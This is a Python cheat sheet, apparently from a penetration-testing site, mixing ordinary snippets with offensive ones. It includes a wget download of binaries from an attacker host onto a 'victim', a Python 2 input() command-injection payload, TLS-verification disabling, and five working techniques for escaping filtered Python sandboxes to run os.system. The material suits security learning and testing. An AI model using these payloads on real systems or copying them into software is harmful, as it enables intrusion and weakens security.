Python Cheat Sheet

Cheat sheet and tricks for the Python programming language.

💡 Use Bandit for static code analysis (SAST) of Python applications.

💡 See Flask for Python web application framework.
💡 For Python Pickle, see Object Injection / Insecure Deserialization.

Online IDE

Installation

Install Python on Windows

NOT TESTED

python-3.6.0.exe /quiet InstallAllUsers=1 PrependPath=1 Include_test=0

Upload Python on victim (Linux)

Need the binary AND the zip file (do not uncompress).

https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/python2.7
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/python2.7.zip
wget http://KALI_IP/python2.7
wget http://KALI_IP/python2.7.zip
export PYTHONPATH=/home/<username>/python2.7.zip
export PYTHONHOME=/home/<username>/python2.7.zip

chmod u+x python2.7
./python2.7
./python2.7 -m SimpleHTTPServer 80

Install packages

pip install <package name>
pip --cert "C:\Users\<path>\certificate.pem" --proxy http://proxy.example.com:8080 install <package name>

For current user only

pip install --user <package name>

Fix SSL certificate errors within Python scripts

export PYTHONHTTPSVERIFY=0 

Loops

For Loop

for i in range(8):
   for j in range(8):
     print('# ', end='')
   print('')

HTTP Requests

See Official Documentation.

Follows redirects!

import requests

# Remove warnings: InsecureRequestWarning: Unverified HTTPS request
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

# Intercept requests using Burp :)
#proxies = None
proxies = {
  'http': 'http://127.0.0.1:8080',
  'https': 'http://127.0.0.1:8080'
}

headers = {
  'Custom-header1': 'value1',
  'Custom-header2': 'value2',
  'Content-Type': 'application/json'
}

url = "https://url:port/api/apiname"
payload="{ \"key1\" : \"value1\",\"key2\":\"value2\"}"

response = requests.request("POST", url, headers=headers, data=payload, verify=False, proxies=proxies, cert=('/path/certif.cer', '/path/certif.key'))

print("RESPONSE")
print(response.headers)
print(response.cookies)
#print(response.cookies['sessionid'])
print(response.text)

if "some string" in response.text:
    print("string found in response")
else:
    print("string not found in response")

Extract values from JSON response

key1=response.json()['key1']
key1=response.json()['key2']
return key1, key2 # returns a tuple, results[0], results[1], ...
# {"title":"My first book","ISBN":"...","authors":[{"firstname":"Bob", "lastname":"Foo"}, {"firstname":"Alice", "lastname":"Smith"}]}
for author in response.json()['authors']:
    for field in author:
        print(field + ': ' + author[field])

In a function

def send_request(url):
    print(url)
    ...

send_request('https://example.com')
send_request('https://example.com/whatever')

Regular expressions

import re

mystring = 'This is my super long string.'

x = re.search('my.*long', mystring)
if x:
    extracted_string=str(x.group()).split(" ")[-2]
    print(extracted_string)
else:
    print('ERROR: string could not be extracted.')

Dates

import datetime
print('Date: ' + str(datetime.datetime.now()))

“Year”-“Month”-“Day”.”Hour”h”Minute”

See Python strftime cheatsheet (strftime.org).

now = datetime.datetime.now().strftime("%Y-%m-%d.%Hh%M")
print(now)
import time
now = time.time()
print(time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(now)) + ' (epoch: ' + str(now) + ')')

Encoding

The utf-8 encoding/decoding is to remove the “b” added in front of base 64 encoded strings

import base64
print(base64.b64encode(bytes('This is the string to encode', 'utf-8')).decode('utf-8'))

Data Masking

def mask(data, chars_to_keep = 4, mask_left = True):
    datalen = len(data)
    
    if mask_left:
        # Mask the left part, e.g. mask("12345", 2) = "***45"
        masked = "*" * (datalen - chars_to_keep) + data[0 - chars_to_keep:]
    else:
        # Mask the right part, e.g. mask("12345", 2, mask_left = False) = "12***"
        masked = data[0:chars_to_keep] + "*" * (datalen - chars_to_keep)

    return masked
print(mask("This is a test"))                     # **********test
print(mask("This is a test", 6))                  # ********a test
print(mask("This is a test", 6, mask_left=False)) # This i********

System calls

#!/usr/bin/python
import sys                  # Access command-line arguments
import os                   # Run os commands

# If the wrong number of arguments was provided
if len(sys.argv) != 2:
    print("Usage:")
    print("python ping_sweep.py IP")
    print("Example:")
    print("python ping_sweep.py 10.11.1.0")
    print("python ping_sweep.py 10.0.2.0")

# If the right number of argument was provided
else:
    IP_PREFIX = str(sys.argv[1]).split(".")[0] + "." + str(sys.argv[1]).split(".")[1] + "." + str(sys.argv[1]).split(".")[2] + "."

    for i in range(1, 255):
        os.system('ping -c 1 ' + IP_PREFIX + str(i) + ' | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1 &')

Reading files

#!/usr/bin/python

try:
    file1 = open('file.txt', 'r')

    for line in file1:
        print(line.strip('\n'))

    file1.close
except IOError:
    print("Could not read file.")

Exceptions

try:
    a = 1/0
except Exception as e:
    print(e)

Read password (no echo)

import getpass
passwd = getpass.getpass()

LDAP

#!/usr/bin/python3
#------------------------------------------------------------------------------
# Author      : Lisandre.com
# Prereq      : Python ldap3, https://ldap3.readthedocs.io/en/latest/
#               pip3 install --user ldap3
#------------------------------------------------------------------------------
from ldap3 import Server, Connection, ALL, NTLM

hostname = 'ldap://DC01.example.com'
username = 'EXAMPLE\\user01'
password = 'MyPreciousPassword'

server = Server(hostname, get_info=ALL)

# Open the connection
try:
    conn = Connection(server, user=username, password=password, auto_bind=True)
    print('INFO: Connected as ' + conn.extend.standard.who_am_i())

except Exception as e:
    print('ERROR: ' + e)

Python input function vulnerability

The input function in Python uses the eval function

#!/usr/bin/python
e=input("Enter something: ")
print e

Enter 1+2 and it will display 3...
Enter "a" and will display a. Enter a and it will give an error because a is not defined (interpreted as a variable)

echo '__import("os")__.system("uname -a") ' | python myscript.py

# Example
__import__("os").system("/bin/cat /somepath/somefile > /tmp/test.txt")
cat /tmp/test.txt

Escaping Python shells

Bypass “Python readfunc() that filters dangerous words”.

# https://gist.github.com/MarkBaggett/dd440362f8a443d644b913acadff9499

# Usually "import", "eval", "compile" and "exec" are tightly controlled
# See which ones are controlled
import
eval
exec
compile

### Solution 1 - If import function is available, but some modules were overwritten in memory
# For example, "os" module was rewriten to "stop hacking!"
# Reload the "os" module
import importlib
importlib.reload(os)
os.system("id")

### Solution 2 - If exec function is available, simply break filtered words
exec("imp" + "ort os")
os.system("id")

### Solution 3 - If eval function is available, simply break filtered words
# If __import__("os") is forbidden
os = eval('__im' + 'port__("os")')
os.system("id")

### Solution 4 - If compile function is available
code = compile("im" + "port os", "", "single")

def a():
    return

a.__code__ = code
a()
os.system("id")

### Solution 5 - If import, exec, eval, compile functions are blocked
# Create a function in memory on one system and move it to restricted system
# Go to another machine that you control, in a terminal window:
python3

import sys
def makeobject(afunction):
   print("Generating a function for version {}.{} (same version as this machine)".format(sys.version_info.major, sys.version_info.minor))
   newstr = ""
   newstr += "def a():\n"
   newstr += "   return\n\n"
   if sys.version_info.major == 2:
       co = afunction.__code__
       if sys.version_info.minor not in [5,6,7]:
           print("This code has not been tested on this version of python.  It may not work.")
       newstr += "a.__code__ = type(a.__code__)({0},{1},{2},{3},'{4}',{5},{6},{7},'{8}','{9}',{10},'{11}')".format( co.co_argcount, co.co_nlocals, co.co_stacksize, co.co_flags, co.co_code.encode("string_escape"),co.co_consts, co.co_names, co.co_varnames, co.co_filename, str(co.co_name), co.co_firstlineno, co.co_lnotab.encode("string_escape"))
   elif sys.version_info.major == 3:
       co = afunction.__code__
       if sys.version_info.minor not in [5]:
           print("This code has not been tested on this version of python.  It may not work.")
       newstr += "a.__code__ = type(a.__code__)({0},{1},{2},{3},{4},{5},{6},{7},{8},'{9}','{10}',{11},{12})".format( co.co_argcount, co.co_kwonlyargcount, co.co_nlocals, co.co_stacksize, co.co_flags, co.co_code,co.co_consts, co.co_names, co.co_varnames, co.co_filename, str(co.co_name), co.co_firstlineno, co.co_lnotab)
   else:
       print("This version of python is not tested and may not work")
   print(newstr)

# Create my function
def bypass():
    import os
    print("BOOM")
    print(os.system("id"))

# Take it out of memory on my system to other restricted system
makeobject(bypass)

# Take the output and copy it in the restricted shell (might need to break filter words in it)
a()